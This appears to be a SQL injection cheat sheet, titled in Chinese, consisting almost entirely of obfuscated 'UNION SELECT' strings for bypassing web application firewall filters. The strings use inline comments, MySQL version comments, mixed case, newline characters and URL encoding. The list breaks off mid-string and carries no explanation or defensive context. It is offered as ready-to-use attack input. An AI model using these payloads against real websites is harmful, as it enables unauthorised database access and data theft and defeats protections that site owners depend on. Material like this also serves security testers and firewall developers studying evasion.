sql注入绕过union select过滤

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#WAF Bypassing Strings:
 
 /*!%55NiOn*/ /*!%53eLEct*/
 
 %55nion(%53elect 1,2,3)-- -
 
 +union+distinct+select+
 
 +union+distinctROW+select+
 
 /**//*!12345UNION SELECT*//**/
 
 /**//*!50000UNION SELECT*//**/
 
 /**/UNION/**//*!50000SELECT*//**/
 
 /*!50000UniON SeLeCt*/
 
 union /*!50000%53elect*/
 
 +#uNiOn+#sEleCt
 
 +#1q%0AuNiOn all#qa%0A#%0AsEleCt
 
 /*!%55NiOn*/ /*!%53eLEct*/
 
 /*!u%6eion*/ /*!se%6cect*/
 
 +un/**/ion+se/**/lect
 
 uni%0bon+se%0blect
 
 %2f**%2funion%2f**%2fselect
 
 union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
 
 REVERSE(noinu)+REVERSE(tceles)
 
 /*--*/union/*--*/select/*--*/
 
 union (/*!/**/ SeleCT */ 1,2,3)
 
 /*!union*/+/*!select*/
 
 union+/*!select*/
 
 /**/union/**/select/**/
 
 /**/uNIon/**/sEleCt/**/
 
 /**//*!union*//**//*!select*//**/
 
 /*!uNIOn*/ /*!SelECt*/
 
 +union+distinct+select+
 
 +union+distinctROW+select+
 
 +UnIOn%0d%0aSeleCt%0d%0a
 
 UNION/*&test=1*/SELECT/*&pwn=2*/
 
 un?+un/**/ion+se/**/lect+
 
 +UNunionION+SEselectLECT+
 
 +uni%0bon+se%0blect+
 
 %252f%252a*/union%252f%252a /select%252f%252a*/
 
 /%2A%2A/union/%2A%2A/select/%2A%2A/
 
 %2f**%2funion%2f**%2fselect%2f**%2f
 
 union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
 
 /*!UnIoN*/SeLecT+
 
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#Union Select by PASS with Url Encoded Method:
 
   %55nion(%53elect)
 
   union%20distinct%20select
 
   union%20%64istinctRO%57%20select
 
   union%2053elect
 
   %23?%0auion%20?%23?%0aselect
 
   %23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect
 
   %55nion %53eLEct
 
   u%6eion se%6cect
 
   unio%6e %73elect
 
   unio%6e%20%64istinc%74%20%73elect
 
   uni%6fn distinct%52OW s%65lect
 
   %75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%7